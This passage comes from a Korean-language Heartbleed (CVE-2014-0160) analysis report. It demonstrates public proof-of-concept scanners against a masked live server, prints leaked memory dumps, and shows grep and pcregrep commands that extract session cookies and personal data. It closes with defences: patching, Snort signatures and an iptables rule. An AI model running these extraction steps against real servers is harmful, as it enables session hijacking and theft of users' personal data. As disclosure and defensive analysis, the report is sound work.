를이용해세션하이재킹 공격을실행한예가공개되어있므로, 다음링크의예를참고 https://www.mattslifebytes.com/?p=533 #5. SensePost의수정된 OpenSSL heartbeat PoC, heartbleed-poc.py - 이 PoC 코드는 Jared Stafford의 hb_test.py 코드를수정한것으로, 앞의코드들과같은기능을하면서, 반복실행횟수를지정하여더많은정보를수집할수있으며, 그결과를별도파일로저장하여 awk, grep, pcregrep과같은툴을이용해다양한정보를추출할수있으며, 메일서버를체크하는기능도추가되었음 - https://github.com/sensepost/heartbleed-poc/blob/master/heartbleed-poc.py에서확인할수있음 13 / 22
- 아래는 10 회반복실행을하며, 그결과를 dump.bin 에저장함 ghost-2:heartbleed ghost$ python heartbleed-poc.py -n10 -f dump xxx.xxx.xxx.xxx Scanning xxx.xxx.xxx.xxx on port 443 Connecting... Sending Client Hello... Waiting for Server Hello...... received message: type = 22, ver = 0302, length = 66... received message: type = 22, ver = 0302, length = 3449... received message: type = 22, ver = 0302, length = 331... received message: type = 22, ver = 0302, length = 4 Server TLS version was 1.2 Sending heartbeat request...... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C.@...SC[...r... 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90.+..H...9... 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0.w.3...f...". 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00!.9.8...5. 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0... 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00...3.2. 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00...E.D.../... 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A... 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01... 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00..I...4. 00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2... 00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00... 00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00... 00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 20 67 7A 69...#... gzi 00e0: 70 2C 20 64 65 66 6C 61 74 65 0D 0A 41 63 63 65 p, deflate..acce 00f0: 70 74 3A 20 74 65 78 74 2F 68 74 6D 6C 2C 61 70 pt: text/html,ap 0100: 70 6C 69 63 61 74 69 6F 6E 2F 78 68 74 6D 6C 2B plication/xhtml+ 0110: 78 6D 6C 2C 61 70 70 6C 69 63 61 74 69 6F 6E 2F xml,application/ 0120: 78 6D 6C 3B 71 3D 30 2E 39 2C 2A 2F 2A 3B 71 3D xml;q=0.9,*/*;q= 0130: 30 2E 38 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 0.8..Accept-Lang 0140: 75 61 67 65 3A 20 65 6E 2D 75 73 0D 0A 43 6F 6E uage: en -us..con 0150: 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C nection: keep -al 0160: 69 76 65 0D 0A 44 4E 54 3A 20 31 0D 0A 55 73 65 ive..dnt: 1..Use 0170: 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 r -Agent: Mozilla 0180: 2F 35 2E 30 20 28 69 50 61 64 3B 20 43 50 55 20 /5.0 (ipad; CPU 0190: 4F 53 20 37 5F 30 5F 32 20 6C 69 6B 65 20 4D 61 OS 7_0_2 like Ma 01a0: 63 20 4F 53 20 58 29 20 41 70 70 6C 65 57 65 62 c OS X) AppleWeb 01b0: 4B 69 74 2F 35 33 37 2E 35 31 2E 31 20 28 4B 48 Kit/537.51.1 (KH 01c0: 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 6B 6F 29 TML, like Gecko) 01d0: 20 56 65 72 73 69 6F 6E 2F 37 2E 30 20 4D 6F 62 Version/7. 0 Mob 01e0: 69 6C 65 2F 31 31 41 35 30 31 20 53 61 66 61 72 ile/11a501 Safar 01f0: 69 2F 39 35 33 37 2E 35 33 0D 0A 0D 0A 47 4B C2 i/9537.53...gk. 0200: C2 81 8C CB F6 98 7C D4 6F 41 FF C3 92 E1 F6 05....oA... 0210: AA 2B 09 D6 7E 5F 1D AD A7 6A EF D8 A6 4B F7 24.+..~_...j...K.$ 0220: 9D 46 6A 4A 39 0B 53 03 B9 2E CF 8C 7B 02 02 02.FjJ9.S...{... 0230: 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65.Accept -Language 0240: 3A 20 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 38 : en -US,en;q=0.8 0250: 0D 0A 43 6F 6F 6B 69 65 3A 20 4A 53 45 53 53 49..Cookie: JSESSI 0260: 4F 4E 49 44 3D 46 37 39 42 45 36 46 43 42 46 37 ONID=F79BE6FCBF7 0270: 41 44 42 34 46 31 46 33 45 32 30 30 43 41 34 37 ADB4F1F3E200CA47 0280: 41 41 44 33 34 2E 6E 65 77 74 77 6F 0D 0A 0D 0A AAD34.newtwo... 0290: E8 11 3E 17 BF 62 69 2F 3D BB 0E 71 1D 6F 17 69..>..bi/=..q.o.i 02a0: D0 3C 12 AA 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B.<... 02b0: 53 45 53 53 49 4F 4E 49 44 3D 46 37 39 42 45 36 SESSIONID=F79BE6 02c0: 46 43 42 46 37 41 44 42 34 46 31 46 33 45 32 30 FCBF7ADB4F1F3E20 02d0: 30 43 41 34 37 41 41 44 33 34 2E 6E 65 77 74 77 0CA47AAD34.newtw 02e0: 6F 0D 0A 0D 0A 69 64 31 32 5F 68 66 5F 30 3D 26 o...id12_hf_0=& 02f0: 6D 6F 62 69 6C 65 50 68 6F 6E 65 25 33 41 63 65 mobilephone%3ace 0300: 6C 6C 50 68 6F 6E 65 31 3D 32 31 30 26 6D 6F 62 llphone1=210&mob 0310: 69 6C 65 50 68 6F 6E 65 25 33 41 63 65 6C 6C 50 ilephone%3acellp 0320: 68 6F 6E 65 32 3D 38 36 31 26 6D 6F 62 69 6C 65 hone2=861&mobile 0330: 50 68 6F 6E 65 25 33 41 63 65 6C 6C 50 68 6F 6E Phone%3AcellPhon 0340: 65 33 3D 31 35 33 30 26 69 73 73 75 65 54 79 70 e3=1530&issuetyp 0350: 65 3D 31 26 69 73 73 75 65 44 65 74 61 69 6C 31 e=1&issuede tail1 0360: 3D 26 69 73 73 75 65 44 65 74 61 69 6C 32 3D 26 =&issuedetail2=& 0370: 6F 74 68 65 72 3D 69 2B 72 65 66 75 73 65 2B 74 other=i+refuse+t 14 / 22
0380: 6F 2B 67 69 76 65 2B 75 70 2B 6F 6E 2B 79 6F 75 o+give+up+on+you 0390: 2B 67 75 79 73 2B 62 65 63 61 75 73 65 2B 69 2B +guys+because+i+ 03a0: 74 68 69 6E 6B 2B 79 25 32 37 61 6C 6C 2B 61 72 think+y%27all+ar 03b0: 65 2B 6D 79 2B 73 6F 75 6C 2B 73 75 72 76 69 76 e+my+soul+surviv 03c0: 6F 72 25 32 37 73 D1 9C C2 88 B1 24 68 00 C4 81 or%27 s...$h... 03d0: 95 22 CC FC 70 A9 1A 15 65 83 05 05 05 05 05 05."..p...e... 03e0: 77 38 7A 79 31 62 30 43 46 62 42 6A 37 41 6F 64 w8zy1b0cfbbj7aod 03f0: 4E 77 67 41 54 67 0D 0A 43 6F 6E 74 65 6E 74 2D NwgATg..Content - 0400: 4C 65 6E 67 74 68 3A 20 31 33 0D 0A 43 6F 6E 6E Length: 13..Conn 0410: 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69 ection: keep -ali 0420: 76 65 0D 0A 43 6F 6F 6B 69 65 3A 20 4A 53 45 53 ve..cookie: JSES 0430: 53 49 4F 4E 49 44 3D 31 38 42 36 38 38 42 41 46 SIONID=18B688BAF 0440: 35 45 41 37 37 44 42 30 33 31 35 31 43 33 39 31 5EA77DB03151C391 0450: 35 32 41 44 43 32 41 2E 6E 65 77 74 77 6F 0D 0A 52ADC2A.newtwo.. 0460: 0D 0A 39 57 7E BC CA 44 B1 6D 1E 22 34 E4 15 F0..9W~..D.m."4... 0470: A5 5A DB 5E CA 8E C2 60 9D 1C D2 A4 CB 5A 1E F7.Z.^...`...Z.. 0480: 32 BA AA 1A 67 D2 E5 02 99 7D 25 86 9B B3 19 05 2...g...}%... 0490: 4F 58 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D OX... 04a0: 33 32 30 26 62 69 68 3D 34 36 30 26 70 73 77 3D 320&bih=460&psw= 04b0: 33 32 30 26 70 73 68 3D 31 34 38 26 66 72 6D 3D 320&psh=148&frm= 04c0: 30 26 75 69 3D 75 76 33 73 6C 31 73 72 31 63 63 0&ui=uv3sl1sr1cc 04d0: 31 2D 61 66 33 73 74 31 33 73 64 31 33 73 76 31 1 -af3st13sd13sv1 04e0: 33 2D 73 74 31 32 2D 73 74 31 32 2D 26 72 75 72 3 -st12-st12-&rur 04f0: 6C 3D 68 74 74 70 25 33 41 25 32 46 25 32 46 77 l=http%3a%2f%2fw 0500: 77 77 2E 63 68 6F 6F 73 65 2D 79 6F 75 72 2D 62 ww.choose -your-b 0510: 65 73 74 2D 6F 70 74 69 6F 6E 2E 63 6F 6D 25 32 est-option.com%2 0520: 46 72 65 6C 61 74 65 64 25 32 46 73 61 6D 65 64 Frelated%2Fsamed 0530: 61 79 2D 70 61 79 64 61 79 2D 6C 6F 61 6E 73 2D ay -payday-loans- 0540: 6F 6E 6C 69 6E 65 2E 68 74 6D 25 33 46 71 75 65 onlin e.htm%3fque 0550: 72 79 25 33 44 53 61 6D 65 64 61 79 25 32 42 50 ry%3dsameday%2bp 0560: 61 79 64 61 79 25 32 42 4C 6F 61 6E 73 25 32 42 ayday%2bloans%2b 0570: 4F 6E 6C 69 6E 65 25 32 36 61 66 64 54 6F 6B 65 Online%26afdToke 0580: 6E 25 33 44 43 71 63 42 43 68 4D 49 72 62 53 6F n%3dcqcbchmirbso 0590: 78 50 4C 56 76 51 49 56 51 55 33 6C 43 68 30 7A xplvvqivqu3lch0z 05a0: 58 77 44 44 45 41 49 59 41 53 41 41 55 50 37 48 XwDDEAIYASAAUP7H 05b0: 79 51 56 51 33 35 57 44 42 31 44 71 6C 35 55 49 yqvq35wdb1dql5ui 05c0: 55 4F 79 58 6C 51 68 51 31 64 4F 2D 45 56 44 43 UOyXlQhQ1dO -EVDC 05d0: 37 76 38 54 55 50 32 4E 6A 52 56 51 6E 75 71 57 7v8TUP2NjRVQnuqW 05e0: 48 31 43 4D 37 66 77 67 55 4B 69 35 30 43 4A 51 H1CM7fwgUKi50CJQ 05f0: 32 61 2D 62 4C 56 44 78 77 5A 68 6C 55 4F 69 42 2a -blvdxwzhluoib 0600: 6F 33 4A 51 30 5A 54 63 6C 77 46 51 38 5F 5F 74 o3jq0ztclwfq8 t 0610: 6C 77 46 51 75 72 32 6A 79 67 46 51 72 65 58 43 lwfqur2jygfqrexc 0620: 39 77 4A 51 7A 66 4F 38 6D 67 4E 78 72 36 52 2D 9wJQzfO8mgNxr6R- 0630: 48 67 56 70 74 70 43 4E 41 63 44 6F 56 63 61 52 HgVptpCNAcDoVcaR 0640: 41 57 50 51 4D 4E 79 33 54 6A 74 79 6B 51 45 55 AWPQMNy3TjtykQEU 0650: 33 65 51 75 30 4F 70 6B 30 35 45 42 65 49 4B 73 3eQu0Opk05E BeIKs 0660: 50 41 77 44 76 66 6F 53 47 51 43 63 68 51 4A 4B PAwDvfoSGQCchQJK 0670: 47 79 77 2D 4A 53 63 56 77 74 31 64 64 30 64 77 Gyw -JScVwt1dd0dw 0680: 30 77 43 6B 50 4F 31 4A 64 37 45 26 72 65 66 3D 0wCkPO1Jd7E&ref= 0690: 68 74 74 70 25 33 41 25 32 46 25 32 46 64 70 2E http%3a%2f%2fdp. 06a0: 67 2E 64 6F 75 62 6C 65 63 6C 69 63 6B 2E 6E 65 g.doubleclick.ne 06b0: 74 25 32 46 73 74 61 74 69 63 25 32 46 63 61 66 t%2fstatic%2fcaf 06c0: 25 32 46 73 6C 61 76 65 2E 68 74 6D 6C 0D 0A 41 %2Fsl ave.html..a 06d0: 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 ccept -Encoding: 06e0: 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D 0A 0D gzip, deflate... 06f0: 0A 2A 89 6F A3 5B 8A 04 CB 83 CE 10 E0 37 70 22.*.o.[...7p" 0700: EB 17 17 3D 58 B7 7E 5D 0C ED 13 75 DB 36 78 A0...=X.~]...u.6x. 3ff0: 74 2E 73 70 65 63 69 61 6C 5B 67 5D 7C 7C 7B 7D t.special[g] {} WARNING: server xxx.xxx.xxx.xxx returned more data than it should - server is vulnerable! ghost-2:heartbleed ghost$ - 1 회실행하였을때 dump 파일의크기는 16,384 바이트, 10 회반복실행시 180,224 바이트였으나, 100 회반복실행했을때 dump 파일의크기는 1,703,936 바이트였으며, 그 정보의양과질에서도차이가났음 15 / 22
- 다음은반복실행결과를저장한 dump 파일에서 grep 를이용해쿠키값을추출한것임 ghost-2:heartbleed ghost$ grep -a "^Cookie:" dump Cookie: JSESSIONID=F79BE6FCBF7ADB4F1F3E200CA47AAD34.newtwo Cookie: JSESSIONID=18B688BAF5EA77DB03151C39152ADC2A.newtwo Cookie: JSESSIONID=B544DFDD40EAD852833B649CCAC5ED46.newtwo Cookie: JSESSIONID=5657701049FEA7E870AC6098978FD1CC.newone; utma=224426120.61787305.1397135041.1397135041.1397135041.1; utmb=224426120.6.10.1397135041; utmc=224426120; utmz=224426120.1397135041.1.1.utmgclid=cjhsjc391b0cfssq7aodacea3w utmccn=(not%20set) utmcm d=(not%20set) Cookie: JSESSIONID=9269A7D9C844A755A28BCEFB39D128A4.newone Cookie: JSESSIONID=5657701049FEA7E870AC6098978FD1CC.newone; utma=224426120.61787305.1397135041.1397135041.1397135041.1; utmb=224426120.2.10.1397135041; utmc=224426120; utmz=224426120.1397135041.1.1.utmgclid=cjhsjc391b0cfssq7aodacea3w utmccn=(not%20set) utmcm d=(not%20set) Cookie: JSESSIONID=2B324E61D8D24357F638B9E6CA4A5F41.newtwo Cookie: JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB.newone Cookie: JSESSIONID=B544DFDD40EAD852833B649CCAC5ED46.newtwo Cookie: JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB.newone Cookie: JSESSIONID=B544DFDD40EAD852833B649CCAC5ED46.newtwo Cookie: JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB.newone Cookie: JSESSIONID=B544DFDD40EAD852833B649CCAC5ED46.newtwo Cookie: JSESSIONID=2B324E61D8D24357F638B9E6CA4A5F41.newtwo Cookie: JSESSIONID=2B324E61D8D24357F638B9E6CA4A5F41.newtwo Cookie: JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB.newone Cookie: JSESSIONID=A9FEC6C9074EA05CF357BA0963D133A2.newtwo ghost-2:heartbleed ghost$ - 다음은반복실행결과를저장한 dump 파일에서 pcregrep 를이용해의미있는정보들을 추출한것임 (pcregrep 8 을 Mac OS X 에설치할경우 root 권한으로설치해야에러가 발생하지않음 ) ghost-2:heartbleed ghost$ pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump v=3 p=33 p=33 q=0 q=0 q=0 JSESSIONID=F79BE6FCBF7ADB4F1F3E200CA47AAD34 SESSIONID=F79BE6FCBF7ADB4F1F3E200CA47AAD34 3AcellPhone1=210 3AcellPhone2=861 3AcellPhone3=1530 issuetype=1 other=i JSESSIONID=18B688BAF5EA77DB03151C39152ADC2A bih=460 psw=320 psh=148 frm=0 ui=uv3sl1sr1cc1 rurl=http ref=http r=n utmgclid=cjhsjc391b0cfssq7aodacea3w 8 http://www.pcre.org 16 / 22
monthlyincome=xxxx rmsubmitted=false trackpageid=1144 firstname=xxxxxx lastname=xxxxxxx mobile=xxxxxxxxx promoid=8 subpromoid=default utma=224426120 ref=http q=0 q=0 JSESSIONID=9269A7D9C844A755A28BCEFB39D128A4 promoid=ppc gclid=cjhsjc391b0cfssq7aodacea3w JSESSIONID=5657701049FEA7E870AC6098978FD1CC utma=224426120 utmb=224426120 utmc=224426120 utmz=224426120 utmgclid=cjhsjc391b0cfssq7aodacea3w d=cjhsjc391b0cfssq7aodacea3w utma=224426120 utmb=224426120 utmc=224426120 utmz=224426120 utmgclid=cjhsjc391b0cfssq7aodacea3w firstname=xxx lastname=xxxxx email=xxxxxxxx mobilephone=xxxxxxx x=119 y=23 agreeterms=on agreetext=on ref=http q=0 JSESSIONID=2B324E61D8D24357F638B9E6CA4A5F41 affiliate_ref=ppcmmiez9qekyqb2exhsj3up99l0vehd4ah5240ibuitfwy96qy9 promoid=ppc gclid=cn JSESSIONID=3637E48CEF3855BDDBBDED63E609E0DB d=cjhsjc391b0cfssq7aodacea3w q=0 JSESSIONID=A9FEC6C9074EA05CF357BA0963D133A2 ghost-2:heartbleed ghost$ - 위의추출한결과를보면이름, 이메일, 전화번호, 월수익등의정보와세션 ID 등의정보가 노출되었음을알수있음 - 이코드는 plain text 통신프로토콜의확장기능인 STARTTLS 를사용하는메일서버도 점검하는기능이있으며, 사용법은다음과같음 ghost-2:heartbleed ghost$ python heartbleed-poc.py -s -p 25 xxx.xxx.xxx.xxx Scanning xxx.xxx.xxx.xxx on port 25 #6. Peter Wu 의 CVE-2014-0160 client 테스트코드, pacemaker.py - 이코드는 curl, wget 등각종클라이언트를실행했을때데이터노출여부를확인하는 코드로, https://github.com/lekensteyn/pacemaker 에서확인할수있음 17 / 22
- 먼저 pacemaker.py 를실행하면 listening 모드에서값이입력되길기다리고있으며, ghost-2:heartbleed ghost$ python pacemaker.py Listening on :4433 for tls clients - 다른콘솔에서다음과같이 curl 을실행하면, ghost-2:heartbleed ghost$ curl https://localhost:4433/ curl: (35) Unknown SSL protocol error in connection to localhost:4433 ghost-2:heartbleed ghost$ - 대기중이던서버에서다음과같이출력이되고, 만약취약하지않을경우다음과같은 문자열이출력되며, Connection from: 127.0.0.1:52534 Possibly not vulnerable - 만약, 취약할경우아래와같은형태로출력됨 ghost-2:heartbleed ghost$ python pacemaker.py Listening on :4433 for tls clients Connection from: 127.0.0.1:52531 Client returned 65535 (0xffff) bytes 0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86...@... -..R4.m. 0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05..@...~!...`_. 0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00...~...3B?...0.. 0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00... 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... * 4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00...@... 8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00...@.. c000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18... c010: 03 03 40 00 00 00 00 00 00 00 00 00 00 00 00 00..@... fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00...... - 다음은 wget 을사용했을때출력되는결과임 ghost-2:heartbleed ghost$ python pacemaker.py Listening on :4433 for tls clients ghost-2:heartbleed ghost$ wget -O /dev/null https://google.com https://localhost:4433 --2014-04-10 20:35:30-- https://google.com/ Resolving google.com (google.com)... 173.194.38.99, 173.194.38.100, 173.194.38.101,... Connecting to google.com (google.com) 173.194.38.99 :443... connected. ERROR: cannot verify google.com's certificate, issued by `/C=US/O=Google Inc/CN=Google Internet Authority G2': Unable to locally verify the issuer's authority. ERROR: certificate common name `*.google.com' doesn't match requested host name `google.com'. To connect to google.com insecurely, use ` --no-check-certificate'. --2014-04-10 20:35:30-- https://localhost:4433/ Resolving localhost (localhost)... ::1, 127.0.0.1, fe80::1 Connecting to localhost (localhost) ::1 :4433... failed: Connection refused. Connecting to localhost (localhost) 127.0.0.1 :4433... connected. Unable to establish SSL connection. ghost-2:heartbleed ghost$ ghost-2:heartbleed ghost$ python pacemaker.py Listening on :4433 for tls clients Connection from: 127.0.0.1:52473 18 / 22
Client returned 65535 (0xffff) bytes 0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86...@... -..R4.m. 0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05..@...~!...`_. 0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00...~...3B?...0.. 0030: 05 00 0f 00 01 01 b8 47 02 68 f9 83 b2 05 08 a4...g.h... 0040: 59 32 be 92 ad 86 2c 16 fb c6 10 00 16 05 8f ff Y2...,... 0260: 02 d9 30 82 02 d5 82 0c 2a 2e 67 6f 6f 67 6c 65..0...*.google 0270: 2e 63 6f 6d 82 0d 2a 2e 61 6e 64 72 6f 69 64 2e.com..*.android. 0280: 63 6f 6d 82 16 2a 2e 61 70 70 65 6e 67 69 6e 65 com..*.appengine 0290: 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 82 12 2a 2e 63.google.com..*.c 02a0: 6c 6f 75 64 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 82 loud.google.com. 02b0: 16 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74.*.google -analyt c000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18... c010: 03 03 40 00 00 00 00 00 00 00 00 00 00 00 00 00..@... fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00... - pacemaker.py 를이용해다른클라이언트에대해서도확인할수있음 #7. Metasploit 모듈 - Metasploit용모듈공개 https://community.rapid7.com/community/metasploit/blog/2014/04/09/metasploitsheartbleed-scanner-module-cve-2014-0160 (Metasploit 측제공이미지 ) 19 / 22
3) 방어책 # OpenSSL 버전업데이트 - OpenSSL 1.0.1g에서는해당취약점이패치가되었으므로, OpenSSL 1.0.1g 이상의버전으로업데이트필요 ( 최신버전 - https://www.openssl.org/source/) - 이전버전을사용해야만할경우취약한부분의코드를수정해재컴파일하여사용하는 것이필요 # 패스워드변경 - yahoo 등을비롯해일부서버의계정정보와패스워드가노출되었으므로, 패스워드를 수정하는것이필요하며, yahoo 계정의사용자일경우반드시수정해야할것임 # Tor 업데이트 - 우리나라시간으로 4 월 9 일취약한버전의 OpenSSL 을버전 1.0.1g 로업데이트한 Tor 3.5.4 안정버전을발표함 - 다운로드 : https://www.torproject.org/download/download-easy.html # VMware - VMWare는취약한제품들의목록과업데이트관련정보를제공하고있음 http://kb.vmware.com/selfservice/microsites/search.do?language=en_us&cmd=displaykc &externalid=2076225 # Stephen Coty가제시한 IDS signature 9 - http://www.netsecurity.org/secworld.php?id=16661&utm_source=feedburner&utm_medium=feed&utm_campaign =Feed%3A+HelpNetSecurity+%28Help+Net+Security%29 참고 alert tcp!$home_net any -> $HOME_NET 443 (msg:"sslv3 OpenSSL Heartbeat Memory Leak"; content:" 18 03 00 "; depth:3; byte_test:2,>,199,3; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:1006054; tag:session,5,packets; rev:1;) alert tcp!$home_net any -> $HOME_NET 443 (msg:"tlsv1 OpenSSL Heartbeat Memory Leak"; content:" 18 03 01 "; depth:3; byte_test:2,>,199,3; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:1006055; tag:session,5,packets; rev:1;) alert tcp!$home_net any -> $HOME_NET 443 (msg:"tlsv1.1 OpenSSL Heartbeat Memory Leak"; content:" 18 03 02 "; depth:3; byte_test:2,>,199,3; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:1006056; tag:session,5,packets; rev:1;) 9 http://www.netsecurity.org/secworld.php?id=16661&utm_source=feedburner&utm_medium=feed&utm_camp aign=feed%3a+helpnetsecurity+%28help+net+security%29 20 / 22
alert tcp!$home_net any -> $HOME_NET 443 (msg:"tlsv1.2 OpenSSL Heartbeat Memory Leak"; content:" 18 03 03 "; depth:3; byte_test:2,>,199,3; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:1006057; tag:session,5,packets; rev:1;) # Fabien Bourdaire 이만든 https 를위한 iptables 룰 iptables -t filter -A INPUT -p tcp --dport 443 -m u32 --u32 \ "52=0x18030000:0x1803FFFF" -j DROP 3. 기타 - xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ( 공개용버전내용삭제 ) - 브라우저는 OpenSSL 을사용하지않으므로, 이취약점에의해영향을받지않음 - Android 로이공격에취약하다고하며, 해당안드로이드시스템에대해테스트는하지못함 - 카카오톡의경우에도취약점정보가처음공개되었을때이취약점의영향을받았음 - OpenVPN 도이버그에취약하다고하며, 아직 OpenVPN 에대해테스트는하지못함 - IIS 서버는 OpenSSL 을사용하지않기때문에취약하지않음 - 해당취약점을수정한 Bitcoin Core Version 0.9.1 이공개됨 https://bitcoin.org/en/release/v0.9.1 - 이취약점에영향을받지않는주요대상 * 국내금융권대부분 * 국내포털사이트 * Amazon * Apple * Microsoft * Twitter * ebay * PayPal * Evernote 21 / 22
- 패스워드변경권고 * Facebook * Instagram * Google * Yahoo * Dropbox * GitHub - 참고자료 * CVE-2014-0160 https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160 * Heartbleed 웹사이트 http://heartbleed.com * CNET, Heartbleed' bug undoes Web encryption, reveals Yahoo passwords * Matthew Green, Attack of the week: OpenSSL Heartbleed http://www.cnet.com/news/heartbleed-bug-undoes-web-encryption-reveals-userpasswords/ http://blog.cryptographyengineering.com/2014/04/attack-of-week-opensslheartbleed.html?m=1 * Rahul Sasi, CVE-2014-0160 Heartbleed Attack POC and Mass Scanner http://www.garage4hackers.com/entry.php?b=2551 * Jake Williams, HeartBleed what you need to know - 첨부파일 ( 공개용버전내용삭제 ) 22 / 22